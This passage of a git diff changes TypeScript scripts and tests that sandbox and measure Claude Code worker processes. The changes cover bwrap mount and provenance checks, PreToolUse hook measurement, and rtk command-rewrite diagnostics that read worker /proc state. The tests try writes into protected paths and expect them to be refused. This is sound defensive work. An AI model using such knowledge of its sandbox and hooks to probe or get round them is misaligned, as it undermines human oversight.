42; fi; printf Odysseus > group/public.md; if printf Athena > group/private/deeper/newer.md 2>/dev/null; then exit 43; fi"] }); + const next = launchAgentWorker({ brainPath: f.brain, sandbox: hold.sandbox, env: { PATH: "/usr/bin:/bin" }, command: fixtureShellCommand("if mv group/private group/moved 2>/dev/null; then exit 42; fi; printf Odysseus > group/public.md; if printf Athena > group/private/deeper/newer.md 2>/dev/null; then exit 43; fi") }); next.stdin.end(); const [exit, out, err] = await Promise.all([next.exited, collect(next.stdout), collect(next.stderr)]); expect(exit, out + err).toBe(0); @@ -461,7 +466,7 @@ test("a missing folder preserves strict fallback beside an unaccounted peer", as expect(hold.sandbox.fallbackReason).toContain("protected paths could not be verified"); expect(existsSync(join(f.brain, "group/private"))).toBe(false); const child = launchAgentWorker({ brainPath: f.brain, sandbox: hold.sandbox, startupView: hold.startupView, - env: {}, command: ["/bin/sh", "-c", "test ! -e group/private"] }); + env: {}, command: fixtureShellCommand("test ! -e group/private") }); child.stdin.end(); async function collect(stream: NodeJS.ReadableStream) { let text = ""; for await (const chunk of stream as AsyncIterable) text += chunk.toString(); return text; } const [exit, out, err] = await Promise.all([child.exited, collect(child.stdout), collect(child.stderr)]); diff --git a/scripts/measure-claude-enforcement.ts b/scripts/measure-claude-enforcement.ts index 897f620b65..51d4e3628f 100644 --- a/scripts/measure-claude-enforcement.ts +++ b/scripts/measure-claude-enforcement.ts @@ -83,7 +83,7 @@ try { const originalCallback = options.canUseTool!; const hooks = { ...options.hooks, PreToolUse: options.hooks?.PreToolUse?.map((matcher, i) => ({ ...matcher, hooks: matcher.hooks.map((hook, j) => async (input, id, context) => { - if(scenario==="rtk-rewrite")worker.qualifyRtk(); + if(scenario==="rtk-rewrite")await worker.qualifyRtk(String((input as {tool_input?:{command?:unknown}}).tool_input?.command??"")); const output = await hook(input, id, context); if ("tool_use_id" in input && input.tool_use_id === callId) hookCalls.push({ index: `${i}:${j}`, input, output }); return output; diff --git a/scripts/measurement-worker-fixture.ts b/scripts/measurement-worker-fixture.ts index 761df85fd1..ce08f12df2 100644 --- a/scripts/measurement-worker-fixture.ts +++ b/scripts/measurement-worker-fixture.ts @@ -1,4 +1,4 @@ -import { diagnoseNativeFixtureRtk } from "./native-rtk-diagnostics"; +import { diagnoseNativeFixtureRtk,diagnoseNativeRtkProjection } from "./native-rtk-diagnostics"; import { registerNativeFixtureRtk } from "./test-native-guard"; /** Explicit copied execution inputs for offline, non-storage runtime measurements. */ import { prepareWorkerSandbox } from "../packages/ui-sdk/src/server/worker-launcher.js"; @@ -14,7 +14,7 @@ export function createMeasurementWorkerFixture(brain: string, home?: string) { const workerStartupView = createFixtureWorkerStartupView(brain); let live:import("../packages/ui-sdk/src/server/worker-launcher").LaunchedWorker|undefined; return { maintenance, request: { workerSandbox, workerStartupView,workerStarted(worker:Parameters>[0]){if(!("pid" in worker)||typeof worker.pid!=="number")throw Error("native fixture RTK worker identity unavailable");live=worker as import("../packages/ui-sdk/src/server/worker-launcher").LaunchedWorker;} }, - qualifyRtk(){diagnoseNativeFixtureRtk(()=>{if(!live)throw Error("native fixture RTK worker unavailable");registerNativeFixtureRtk(live);});},cleanup() { + qualifyRtk(command:string){let projection:ReturnType|undefined;diagnoseNativeFixtureRtk(()=>{if(!live)throw Error("native fixture RTK worker unavailable");projection=registerNativeFixtureRtk(live);});return diagnoseNativeRtkProjection(projection!.pid,projection!.launch,command);},cleanup() { try { workerStartupView.cleanup(); } finally { maintenance.cleanup(); } } }; } catch (error) { maintenance.cleanup(); throw error; } diff --git a/scripts/native-rtk-diagnostics.ts b/scripts/native-rtk-diagnostics.ts index 5827f88576..65f1254ee5 100644 --- a/scripts/native-rtk-diagnostics.ts +++ b/scripts/native-rtk-diagnostics.ts @@ -1,3 +1,9 @@ +import {readFileSync,realpathSync,statSync,accessSync,constants} from "node:fs"; +import {isAbsolute,resolve} from "node:path"; +import {spawnSync} from "node:child_process"; +import {within,isStaticNativeElf} from "../packages/ui-sdk/src/server/worker-rtk"; +import {rewriteInstalledRtk} from "../packages/ui-sdk/src/server/rtk"; +import {watchdogMs} from "./test-deadlines"; /** Fixed test-only categories; adapter errors never contribute arbitrary text. */ import { nativeReceipt } from "./native-test-receipts"; import { nativeTestHead } from "./test-native-guard"; @@ -23,3 +29,36 @@ export function nativeRtkUnavailableLabels(error:unknown):Recordvoid):void { try{register();}catch(error){nativeReceipt({kind:"native-fixture-rtk-registration",head:nativeTestHead(),success:false,category:nativeRtkFailureCategory(error),...nativeRtkUnavailableLabels(error),...(nativeRtkExecutableLabel(error)?{executableLabel:nativeRtkExecutableLabel(error)}:{})});throw error;} } + +/** Read-only fixture evidence; these observations never authorize a rewrite. */ +export function nativeRtkProjectionInputs(pid:number,input:import("../packages/ui-sdk/src/server/worker-launcher").WorkerLaunch){ + const evidence:Record={statusReadable:false,environmentReadable:false,pathEqualsOriginal:null,uidEqualsExpected:null,gidEqualsExpected:null,groupCount:null,groupsEqualExpected:null,rtkReadable:false,executableAccessible:null,ownerUidClass:"unknown",ownerGidClass:"unknown",mode:null,ro:null,nodev:null,nosuid:null,staticElf:null,protectedInstallation:null,hostIdentityEqualsWorker:null}; + const proc=`/proc/${pid}`; + try{ + const status=readFileSync(`${proc}/status`,"utf8");evidence.statusReadable=true; + const uid=/^Uid:\s+(.*)$/m.exec(status)?.[1]?.trim().split(/\s+/).map(Number),gid=/^Gid:\s+(.*)$/m.exec(status)?.[1]?.trim().split(/\s+/).map(Number); + evidence.uidEqualsExpected=Boolean(uid?.length===4&&uid.every(v=>v===process.geteuid!()));evidence.gidEqualsExpected=Boolean(gid?.length===4&&gid.every(v=>v===process.getegid!())); + const groups=/^Groups:\s*(.*)$/m.exec(status)?.[1]?.trim().split(/\s+/).filter(Boolean).map(Number).sort((a,b)=>a-b); + evidence.groupCount=groups?.length??null;evidence.groupsEqualExpected=Boolean(groups&&JSON.stringify(groups)===JSON.stringify(process.getgroups!().sort((a,b)=>a-b))); + }catch{/* Fixed unreadable fields only. */} + try{ + const env=Object.fromEntries(readFileSync(`${proc}/environ`,"utf8").split("\0").filter(Boolean).map(v=>{const at=v.indexOf("=");return [v.slice(0,at),v.slice(at+1)];}));evidence.environmentReadable=true;evidence.pathEqualsOriginal=env.PATH===input.env.PATH; + for(const directory of (env.PATH??"").split(":")){ + if(!isAbsolute(directory))break; + const candidate=resolve(directory,"rtk"),visible=`${proc}/root${candidate}`;let info; + try{info=statSync(visible);}catch(error){if(["ENOENT","ENOTDIR"].includes((error as NodeJS.ErrnoException).code??""))continue;break;} + evidence.rtkReadable=true;try{accessSync(visible,constants.X_OK);evidence.executableAccessible=true;}catch{evidence.executableAccessible=false;}evidence.ownerUidClass=info.uid===0?"root":info.uid===process.geteuid!()?"worker":"other";evidence.ownerGidClass=info.gid===0?"root":info.gid===process.getegid!()?"worker":"other";evidence.mode=info.mode&0o7777; + try{const real=realpathSync(candidate),host=statSync(real);evidence.protectedInstallation=["/usr/bin","/usr/local/bin","/bin"].some(root=>within(root,real));evidence.hostIdentityEqualsWorker=host.dev===info.dev&&host.ino===info.ino;evidence.staticElf=isStaticNativeElf(real);}catch{/* Keep unknown. */} + try{const result=spawnSync("/usr/bin/python3",["-I","-S","-c",'import os,json,sys\ns=os.statvfs(sys.argv[1]);print(json.dumps({"ro":bool(s.f_flag&os.ST_RDONLY),"nodev":bool(s.f_flag&os.ST_NODEV),"nosuid":bool(s.f_flag&os.ST_NOSUID)}))',visible],{env:{},encoding:"utf8",timeout:watchdogMs(5000)});if(result.status===0){const flags=JSON.parse(result.stdout);for(const key of ["ro","nodev","nosuid"])if(typeof flags[key]==="boolean")evidence[key]=flags[key];}}catch{/* Keep unknown. */} + break; + } + }catch{/* Fixed unreadable fields only. */} + return evidence; +} +export function nativeRtkOracleResult(command:string,result:unknown):string{return typeof result!=="string"?"invalid-result":result===command?"unchanged":result.trim()?"rewritten":"empty-result";} +/** The measurement installed this fixed read-only static oracle itself. */ +export async function diagnoseNativeRtkProjection(pid:number,input:import("../packages/ui-sdk/src/server/worker-launcher").WorkerLaunch,command:string):Promise{ + const inputs=nativeRtkProjectionInputs(pid,input);let oracleResult="unavailable"; + try{if(isStaticNativeElf("/usr/local/bin/rtk"))oracleResult=nativeRtkOracleResult(command,await rewriteInstalledRtk(command,"/usr/local/bin/rtk"));}catch{oracleResult="error";} + nativeReceipt({kind:"native-fixture-rtk-inputs",head:nativeTestHead(),...inputs,oracleResult}); +} diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index b87fff6221..0f7dc92e93 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -157,7 +157,7 @@ export function nativeRetainedBoundaryRecord(reason:string,mountEvidence?:Record } const rawPhase=process.argv.find(value=>value.startsWith("--default-phase="))?.slice(16)??process.argv.find(value=>value.startsWith("--shared-phase="))?.slice(15); const phase=["fresh","warm","strict","controls"].includes(rawPhase??"")?rawPhase!:"unknown"; - const evidence=mountEvidence?{sourceKind:["fixed-system","descriptor","registered-fixture","unregistered-source"].includes(String(mountEvidence.sourceKind))?String(mountEvidence.sourceKind):"unknown",targetKind:["isolated-config","fixture-temporary","runtime-or-fixture"].includes(String(mountEvidence.targetKind))?String(mountEvidence.targetKind):"unknown",metadataError:["ENOENT","EACCES","EPERM","ENOTDIR","ELOOP","UNKNOWN"].includes(String(mountEvidence.metadataError))?String(mountEvidence.metadataError):"UNKNOWN",...(Number.isSafeInteger(mountEvidence.mount)&&Number(mountEvidence.mount)>=0?{mount:Number(mountEvidence.mount)}:{})}:undefined; + const evidence=mountEvidence?{sourceKind:["fixed-system","descriptor","fixture-declared","unregistered-source","product-checkpoint","product-keeper","product-scratch"].includes(String(mountEvidence.sourceKind))?String(mountEvidence.sourceKind):"unknown",targetKind:["isolated-config","fixture-temporary","runtime-or-fixture"].includes(String(mountEvidence.targetKind))?String(mountEvidence.targetKind):"unknown",metadataError:["ENOENT","EACCES","EPERM","ENOTDIR","ELOOP","UNKNOWN"].includes(String(mountEvidence.metadataError))?String(mountEvidence.metadataError):"UNKNOWN",...(Number.isSafeInteger(mountEvidence.mount)&&Number(mountEvidence.mount)>=0?{mount:Number(mountEvidence.mount)}:{})}:undefined; return {kind:"native-offline-boundary-retained",head:nativeTestHead(),phase,stage:"boundary-admission",success:false,nativeLaunched:false, reason:fixedBoundaryReasons.has(reason)?compilerDiagnostic(redactNativeDiagnosticAssignments(reason)).slice(0,512):"unclassified native boundary refusal",...(evidence?{mountEvidence:evidence}:{})}; } @@ -678,7 +678,7 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { } catch (error) { turnProxy?.dispose();bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); throw error; } } -interface ScriptedAuthority { origin: string; fixtureRoots: readonly string[]; fixtureRootStamps: ReadonlyMap; fixtureFiles: ReadonlyMap; turnProxy?: boolean } +interface ScriptedAuthority { origin: string; fixtureRoots: readonly string[]; fixtureRootStamps: ReadonlyMap; fixtureFiles: ReadonlyMap; turnProxy?: boolean;revalidate?:()=>void } const scriptedRoute = new AsyncLocalStorage(); /** Test code pins its scripted service before building a restricted turn. */ @@ -720,6 +720,24 @@ export function nativeFixtureFileMounts(directory:string):string[] { return mounts; } +/** Declare only the acquired strict turn's two roots while its owner is held. */ +export function nativeFixtureTurnDataTree(origin:string,brain:string,view:import("../packages/ui-sdk/src/server/worker-startup-view").WorkerStartupView,tree:import("../packages/ui-sdk/src/server/worker-sandbox").WorkerDataTree):()=>void { + const prior=scriptedRoute.getStore(); + const {isManagedWorkerStartupView,isNativeWorkerStartupRoot}=createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-startup-view.ts"); + const expected=join(dirname(brain),".brain-native","trees"),parent=dirname(tree.root); + const declared=[tree.root,tree.index];let closed=false; + const stamps=declared.map(path=>{try{const info=lstatSync(path,{bigint:true});return {dev:info.dev,ino:info.ino};}catch{throw Error("native fixture turn data declaration unavailable");}}); + const validate=()=>{ + const brainStamp=prior?.fixtureRootStamps.get(brain),currentBrain=lstatSync(brain,{bigint:true}); + if(!brainStamp||brainStamp.dev!==currentBrain.dev||brainStamp.ino!==currentBrain.ino)throw Error("native fixture turn data declaration unavailable"); + if(closed||!prior||prior.origin!==new URL(origin).origin||view.brain!==brain||!prior.fixtureRoots.includes(brain)||realpathSync(brain)!==brain||!isManagedWorkerStartupView(view)||!isNativeWorkerStartupRoot(view.root)||dirname(parent)!==expected||!/^[0-9a-f]{8}(?:-[0-9a-f]{4}){3}-[0-9a-f]{12}$/.test(basename(parent))||declared.length!==2||declared[0]!==join(parent,"data")||declared[1]!==join(parent,"index"))throw Error("native fixture turn data declaration unavailable"); + for(let i=0;i[path,stamps[i]!] as const)]),revalidate(){prior?.revalidate?.();validate();}}));const scoped=scriptedRoute.getStore(); + return ()=>{closed=true;if(scriptedRoute.getStore()===scoped)scriptedRoute.enterWith(authority);leave();}; +} + /** Keep fixture authority at the SDK's existing spawn hook, across its async work. */ export function nativeScriptedQuery(query: typeof sdkQuery, origin: string): typeof sdkQuery { const captured = scriptedRoute.getStore(); @@ -729,7 +747,8 @@ export function nativeScriptedQuery(query: typeof sdkQuery, origin: string): typ return query({ ...input, options: { ...input.options, spawnClaudeCodeProcess: options => { const prior = scriptedRoute.getStore(); const leave = nativeScriptedService(origin, {fixtureRoots:[],fixtureFiles:[]}); - if (captured?.origin === new URL(origin).origin) scriptedRoute.enterWith(captured); + if (prior?.origin === new URL(origin).origin) scriptedRoute.enterWith(prior); + else if (captured?.origin === new URL(origin).origin) scriptedRoute.enterWith(captured); try { return spawn(options); } finally { leave(); scriptedRoute.enterWith(prior); } } } }); }; @@ -845,13 +864,13 @@ function admittedRelay(argv: string[], socket: string): { origin: string; path: } } -function mountInputEvidence(input: string, destination: string, index: number, error: unknown, fixtureRoots: readonly string[] = []): Record { +function mountInputEvidence(input: string, destination: string, index: number, error: unknown, fixtureRoots: readonly string[] = [],role?:"product-checkpoint"|"product-keeper"|"product-scratch"): Record { const fixture=fixtureRoots.find(root=>within(root,resolve(input))); const known=SYSTEM.includes(input)||SYSTEM_FILES.includes(input); const targetFixture=fixtureRoots.find(root=>within(root,resolve(destination))); const workspaceTarget=within(ROOT,resolve(destination)); return { mount:index, - ...(targetFixture?{targetFixtureRoot:fixtureRoots.indexOf(targetFixture),targetRelativePath:resolve(destination).slice(targetFixture.length).replace(/^\//,"")||"."}:workspaceTarget?{targetWorkspacePath:resolve(destination).slice(ROOT.length).replace(/^\//,"")}:{}), sourceKind:known?"fixed-system":input.startsWith("/proc/")?"descriptor":fixture?"registered-fixture":"unregistered-source", + ...(targetFixture?{targetFixtureRoot:fixtureRoots.indexOf(targetFixture),targetRelativePath:resolve(destination).slice(targetFixture.length).replace(/^\//,"")||"."}:workspaceTarget?{targetWorkspacePath:resolve(destination).slice(ROOT.length).replace(/^\//,"")}:{}), sourceKind:role??(known?"fixed-system":input.startsWith("/proc/")?"descriptor":fixture?"fixture-declared":"unregistered-source"), ...(known?{systemRoot:input}:fixture?{fixtureRoot:fixtureRoots.indexOf(fixture),relativePath:resolve(input).slice(fixture.length).replace(/^\//,"")}:{}), targetKind:destination.startsWith("/etc/")?"isolated-config":destination.startsWith("/tmp/")?"fixture-temporary":"runtime-or-fixture", metadataError:(error as NodeJS.ErrnoException)?.code??"UNKNOWN" }; @@ -984,7 +1003,7 @@ function nativeRtkCandidateState(pid:number,auditedStart:string):string { } function nativeRtkExitedState(state:string):boolean {return state==="Z"||state==="X";} /** Re-register only the kernel/audit-proven payload view hidden by our broker. */ -export function registerNativeFixtureRtk(worker:import("../packages/ui-sdk/src/server/worker-launcher").LaunchedWorker):void { +export function registerNativeFixtureRtk(worker:import("../packages/ui-sdk/src/server/worker-launcher").LaunchedWorker):{pid:number;launch:import("../packages/ui-sdk/src/server/worker-launcher").WorkerLaunch} { const record=nativeFixtureRtkSpawns.get(worker.pid); if(!record)throw Error("native fixture RTK spawn is unregistered"); if(processStart(worker.pid)!==record.start)throw Error("native fixture RTK root identity changed"); @@ -1016,6 +1035,7 @@ export function registerNativeFixtureRtk(worker:import("../packages/ui-sdk/src/s if(nativeRtkExitedState(nativeRtkCandidateState(selected[0]!,owned.get(selected[0]!)!)))throw Error("native fixture RTK payload missing"); const {registerWorkerRtk}=createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-rtk.ts") as typeof import("../packages/ui-sdk/src/server/worker-rtk"); registerWorkerRtk(worker,selected[0]!,record.launch); + return {pid:selected[0]!,launch:record.launch}; } function processStart(pid: number): string { return readFileSync(`/proc/${pid}/stat`, "utf8").replace(/^.*\) /s, "").split(" ")[19]!; } @@ -1088,7 +1108,27 @@ export function registerNativeFixtureKeeper(storage: FixtureKeeper): () => void try { return registerFixtureKeeper(storage); } catch(error) { if(String(error).includes("Offline native Claude refused before launch:"))throw error;return refuse("fixture keeper provenance is unavailable"); } } -function registerFixtureKeeper(storage: FixtureKeeper): () => void { +const usedManagedKeepers=new WeakSet(); +/** Only a fixture's real acquired native output can declare this remote keeper. */ +export function registerNativeFixtureManagedKeeper(storage:import("../packages/ui-sdk/src/server/worker-native-output").WorkerOutputStorage,view:import("../packages/ui-sdk/src/server/worker-startup-view").WorkerStartupView):()=>void { + const scope=scriptedRoute.getStore(),brain=view.brain,expected=join(dirname(brain),".brain-native","stages");let closed=false; + if(typeof storage.namespaceStart!=="string"||!storage.namespaceStart)refuse("managed fixture keeper provenance is unavailable"); + if(usedManagedKeepers.has(storage))refuse("managed fixture keeper registration was already used"); + let rootIdentity:ReturnType|undefined;try{rootIdentity=statSync(storage.root);}catch{/* validate refuses */} + const validate=()=>{ + try{ + const {isManagedWorkerStartupView,isNativeWorkerStartupRoot,nativeWorkerStartupInput}=createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-startup-view.ts"); + const brainStamp=scope?.fixtureRootStamps.get(brain),currentBrain=lstatSync(brain,{bigint:true}); + if(!brainStamp||brainStamp.dev!==currentBrain.dev||brainStamp.ino!==currentBrain.ino)return false; + if(closed||!scope||scriptedRoute.getStore()!==scope||!scope.fixtureRoots.includes(brain)||dirname(view.root)!==join(dirname(brain),".brain-native","checkpoints")||!isManagedWorkerStartupView(view)||!isNativeWorkerStartupRoot(view.root)||nativeWorkerStartupInput(view).checkpoint.path!==view.root||resolve(storage.mount)!==storage.mount||dirname(storage.mount)!==expected||!/^[0-9a-f]{8}(?:-[0-9a-f]{4}){3}-[0-9a-f]{12}$/.test(basename(storage.mount))||!new RegExp(`^/proc/${process.pid}/fd/[0-9]+$`).test(storage.root)||!rootIdentity)return false; + const root=statSync(storage.root),mounted=statSync(`/proc/${storage.namespacePid}/root${storage.mount}`); + return root.isDirectory()&&root.dev===rootIdentity.dev&&root.ino===rootIdentity.ino&&root.dev===mounted.dev&&root.ino===mounted.ino&&Number(statfsSync(storage.root).type)===0x01021994; + }catch{return false;} + }; + let unregister:()=>void;try{unregister=registerFixtureKeeper(storage as FixtureKeeper,validate);}catch(error){if(String(error).includes("Offline native Claude refused before launch:"))throw error;refuse("managed fixture keeper provenance is unavailable",{sourceKind:"product-keeper",targetKind:"runtime-or-fixture",metadataError:"UNKNOWN"});} + usedManagedKeepers.add(storage);return ()=>{closed=true;unregister();}; +} +function registerFixtureKeeper(storage: FixtureKeeper, managed?:()=>boolean): () => void { const start = processStart(storage.namespacePid); let pid = storage.namespacePid, observed = false; for (let depth = 0; pid > 1 && depth < 64; depth++) { @@ -1097,8 +1137,9 @@ function registerFixtureKeeper(storage: FixtureKeeper): () => void { if (!parent) break; pid = Number(parent[1]); } const ns = `/proc/${storage.namespacePid}/ns/mnt`, namespace = statSync(ns, { bigint: true }); - if (!observed || storage.namespaceStart !== start || namespace.ino === statSync("/proc/self/ns/mnt", { bigint: true }).ino || - !new RegExp(`^/proc/${process.pid}/fd/[0-9]+$`).test(storage.root) || FORBIDDEN_BIND_ROOTS.has(resolve(storage.mount))) refuse("fixture keeper provenance is unavailable"); + const authority=()=>managed?managed():observed; + if (!authority() || storage.namespaceStart !== start || namespace.ino === statSync("/proc/self/ns/mnt", { bigint: true }).ino || + !new RegExp(`^/proc/${process.pid}/fd/[0-9]+$`).test(storage.root) || FORBIDDEN_BIND_ROOTS.has(resolve(storage.mount))) refuse("fixture keeper provenance is unavailable",managed?{sourceKind:"product-keeper",targetKind:"runtime-or-fixture",metadataError:"UNKNOWN"}:undefined); if(Number(statfsSync(storage.root).type)!==0x01021994)refuse("fixture keeper output is not private tmpfs"); // Only the publication tree is needed; overlay work/upper metadata never enters inspection. const mount=join(resolve(storage.mount),"merged"); @@ -1110,9 +1151,9 @@ function registerFixtureKeeper(storage: FixtureKeeper): () => void { const snapshot = nativeFixtureDirectory("odysseus-keeper-inspection-"); const anchor = `/proc/${process.pid}/fd/${fd}`; let disposed=false; - const live = () => { try { const now=statSync(ns,{bigint:true}); return !disposed && processStart(storage.namespacePid)===start && now.dev===namespace.dev && now.ino===namespace.ino && statSync(namespaceRoot,{bigint:true}).dev===info.dev && statSync(namespaceRoot,{bigint:true}).ino===info.ino && observed; } catch { return false; } }; + const live = () => { try { const now=statSync(ns,{bigint:true}); return !disposed && processStart(storage.namespacePid)===start && now.dev===namespace.dev && now.ino===namespace.ino && statSync(namespaceRoot,{bigint:true}).dev===info.dev && statSync(namespaceRoot,{bigint:true}).ino===info.ino && authority(); } catch { return false; } }; const entry = { mount, snapshot, live, refresh() { - if (!live()) refuse("fixture keeper namespace is no longer live"); + if (!live()) refuse("fixture keeper namespace is no longer live",managed?{sourceKind:"product-keeper",targetKind:"runtime-or-fixture",metadataError:"UNKNOWN"}:undefined); for (const name of readdirSync(snapshot)) rmSync(join(snapshot,name),{recursive:true,force:true}); for (const name of readdirSync(anchor)) cpSync(join(anchor,name),join(snapshot,name),{recursive:true,dereference:false}); }, dispose() { if(disposed)return;disposed=true;if(fixtureKeepers.get(storage.namespacePid)===entry)fixtureKeepers.delete(storage.namespacePid);closeSync(fd);rmSync(snapshot,{recursive:true,force:true}); } }; @@ -1151,7 +1192,24 @@ function workerSourceAllowed(source: string, route: ScriptedAuthority, guardRoot .some(path => { try { return realpathSync(path) === source; } catch { return false; } }); } -function stageWorkerFixtureBinds(argv: string[], bwrap: number, route: ScriptedAuthority, guardRoot: string, keeper?: KeeperInspection): void { +interface NativeCheckpointRole {root:string;brain:string} +function nativeCheckpointRole(launch:any,route:ScriptedAuthority):NativeCheckpointRole|undefined { + const root=launch.startupView?.root,brain=launch.brainPath; + if(typeof root!=="string"||typeof brain!=="string"||!/^[0-9a-f]{8}(?:-[0-9a-f]{4}){3}-[0-9a-f]{12}$/.test(basename(root))||dirname(root)!==join(dirname(brain),".brain-native","checkpoints"))return; + const stamp=route.fixtureRootStamps.get(brain); + let valid=false;try{const info=lstatSync(brain,{bigint:true});const {isNativeWorkerStartupRoot}=createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-startup-view.ts"); + valid=resolve(root)===root&&realpathSync(root)===root&&realpathSync(brain)===brain&&launch.startupView.brain===brain&&route.fixtureRoots.includes(brain)&&Boolean(stamp&&stamp.dev===info.dev&&stamp.ino===info.ino)&&isNativeWorkerStartupRoot(root); + }catch{/* Unknown owner or canonical identity refuses. */} + if(!valid)refuse("native checkpoint bind owner is unavailable",{sourceKind:"product-checkpoint",targetKind:"runtime-or-fixture",metadataError:"UNKNOWN"}); + return {root,brain}; +} +function checkpointBind(flag:string,source:string,target:string,role?:NativeCheckpointRole):boolean{return Boolean(role&&flag==="--ro-bind"&&source===role.root&&target===role.brain);} +function assertCheckpointBind(mounts:readonly string[],role?:NativeCheckpointRole):void { + if(!role)return;let count=0; + for(let i=0;i(); for(let i=0;i{ inspected=path; const real=realpathSync(path),info=lstatSync(real); - if(info.isFile() && !workerSourceAllowed(real,route,guardRoot))refuse("worker file was not created or staged by the fixture"); + if(info.isFile() && !(checkpointRoot&&within(checkpointRoot,real))&&!workerSourceAllowed(real,route,guardRoot))refuse("worker file was not created or staged by the fixture"); if(!info.isDirectory() || SYSTEM.some(root=>{try{return within(realpathSync(root),real);}catch{return false;}}) || visited.has(`${info.dev}:${info.ino}`))return; visited.add(`${info.dev}:${info.ino}`);for(const name of readdirSync(real))visit(join(real,name)); }; try { visit(source); } catch(error) { if(String(error).includes("Offline native Claude refused before launch:"))throw error; - refuse("worker fixture provenance is unavailable",mountInputEvidence(inspected,mounts[i+2]!,i,error,route.fixtureRoots)); + refuse("worker fixture provenance is unavailable",mountInputEvidence(inspected,mounts[i+2]!,i,error,route.fixtureRoots,checkpointRoot?"product-checkpoint":keeper&&within(keeper.snapshot,source)?"product-keeper":undefined)); } i+=2; } @@ -1396,6 +1455,7 @@ export function nativeWorkerBoundary(env: Record): { const ownedOrigin = admitted?.origin; if (socket && !ownedOrigin) refuse("pre-existing native relay is not guard-owned"); if (ownedOrigin && (!route || normalizedOrigin(ownedOrigin) !== normalizedOrigin(route.origin))) refuse("native relay did not match scripted authority"); + try{route.revalidate?.();}catch{refuse("native fixture turn data declaration unavailable");} qualify(); workerArgv[bwrap] = bwrapExecutable; const bridge = startNativeTestRelay(route.origin); @@ -1425,8 +1485,9 @@ export function nativeWorkerBoundary(env: Record): { "--ro-bind", join(bridge.directory, "passwd"), "/etc/passwd", "--ro-bind", join(bridge.directory, "group"), "/etc/group",...nativeFixtureFileMounts(bridge.directory), ...(directTunnel?["--dir","/run/brain-egress","--ro-bind",directTunnel.socket,WORKER_TURN_PROXY]:[]), ...Object.entries(pinned).flatMap(([key, value]) => ["--setenv", key, value])); + const checkpoint=nativeCheckpointRole(launch,route);assertCheckpointBind(workerArgv,checkpoint); const keeper=workerKeeper(workerArgv,bwrap); - try { stageWorkerFixtureBinds(workerArgv,bwrap,route,bridge.directory,keeper); } + try { stageWorkerFixtureBinds(workerArgv,bwrap,route,bridge.directory,keeper,checkpoint); } catch(error) { if (String(error).includes("Offline native Claude refused before launch:")) throw error; refuse("worker fixture provenance is unavailable"); } const payloadIndex = workerArgv.indexOf("--", bwrap) + 1; const nativePayload = workerArgv.splice(payloadIndex); @@ -1438,7 +1499,8 @@ export function nativeWorkerBoundary(env: Record): { workerArgv.push(...nativeDiagnosticWorkerPayload(protectedPayload,Boolean(supervisor&&process.argv.some(value=>value.startsWith("--native-identity-startup-audit="))))); const nativeMounts = workerArgv.slice(bwrap + 1, workerArgv.indexOf("--", bwrap)); const beforeLaunch = () => { - try { keeper?.refresh(); assertWorkerFixtureBinds(nativeMounts, route, bridge.directory,keeper); assertNativeMountSockets(nativeMounts, route.origin,keeper); } + try{route.revalidate?.();}catch{refuse("native fixture turn data declaration unavailable");} + try { keeper?.refresh();assertCheckpointBind(nativeMounts,nativeCheckpointRole(launch,route)); assertWorkerFixtureBinds(nativeMounts, route, bridge.directory,keeper,checkpoint); assertNativeMountSockets(nativeMounts, route.origin,keeper); } catch(error) { if (String(error).includes("Offline native Claude refused before launch:")) throw error; refuse("worker fixture provenance is unavailable"); } }; beforeLaunch(); diff --git a/tests/native-rtk-diagnostics.test.ts b/tests/native-rtk-diagnostics.test.ts index b50d4440d0..fb2e6af906 100644 --- a/tests/native-rtk-diagnostics.test.ts +++ b/tests/native-rtk-diagnostics.test.ts @@ -16,7 +16,7 @@ test("RTK diagnostic categories cannot carry arbitrary private text",()=>{ test("measurement fixture records its adapter refusal before rethrowing",async()=>{ const fixture=join(import.meta.dir,"../scripts/measurement-worker-fixture.ts"); - const child=spawnGuardFixture([process.execPath,"-e",`import {mkdtempSync,rmSync} from "node:fs";import {createMeasurementWorkerFixture} from ${JSON.stringify(fixture)};const brain=mkdtempSync("/tmp/odysseus-rtk-refusal-");const fixture=createMeasurementWorkerFixture(brain);let refused=false;try{fixture.qualifyRtk();}catch{refused=true;}finally{fixture.cleanup();rmSync(brain,{recursive:true,force:true});}if(!refused)throw Error("FIXTURE_RTK_REFUSAL_MUST_PROPAGATE");`]); + const child=spawnGuardFixture([process.execPath,"-e",`import {mkdtempSync,rmSync} from "node:fs";import {createMeasurementWorkerFixture} from ${JSON.stringify(fixture)};const brain=mkdtempSync("/tmp/odysseus-rtk-refusal-");const fixture=createMeasurementWorkerFixture(brain);let refused=false;try{fixture.qualifyRtk("touch /tmp/brain-worker-scratch/original");}catch{refused=true;}finally{fixture.cleanup();rmSync(brain,{recursive:true,force:true});}if(!refused)throw Error("FIXTURE_RTK_REFUSAL_MUST_PROPAGATE");`]); const [code,out]=await Promise.all([child.exited,child.guardOutput()]);expect(code,out).toBe(0);expect(out,"MEASUREMENT_RTK_REFUSAL_IS_OBSERVABLE").toContain('"category":"launch-mismatch"'); }); @@ -38,3 +38,21 @@ test("RTK process evidence contains only fixed state and access labels",async()= const error=Error("native fixture RTK executable unavailable",{cause:{source:"read-proc-exe",errno:"ENOENT",processState:"/home/private-owner",leader:"secret",exeReadlink:"private",exeStat:"private"}}); expect(nativeRtkUnavailableLabels(error),"RTK_PROCESS_EVIDENCE_IS_FIXED_AND_SCRUBBED").toEqual({source:"read-proc-exe",errno:"ENOENT",processState:"unknown",leader:null,exeReadlink:"unknown",exeStat:"unknown"}); }); + +test("RTK live projection retains only fixed input metadata and no paths or environment values",async()=>{ + const {nativeRtkProjectionInputs,nativeRtkOracleResult}=await import("../scripts/native-rtk-diagnostics"); + const fs=await import("node:fs"),path=await import("node:path");const root=fs.mkdtempSync("/tmp/odysseus-rtk-inputs-"); + const selected=path.join(root,"rtk");fs.symlinkSync("/usr/bin/true",selected); + const child=Bun.spawn([process.execPath,"-e",'console.log("ready");await Bun.stdin.text()'],{env:{PATH:root,ANTHROPIC_AUTH_TOKEN:"private-fixture-secret"},stdin:"pipe",stdout:"pipe",stderr:"pipe"}); + try{ + const 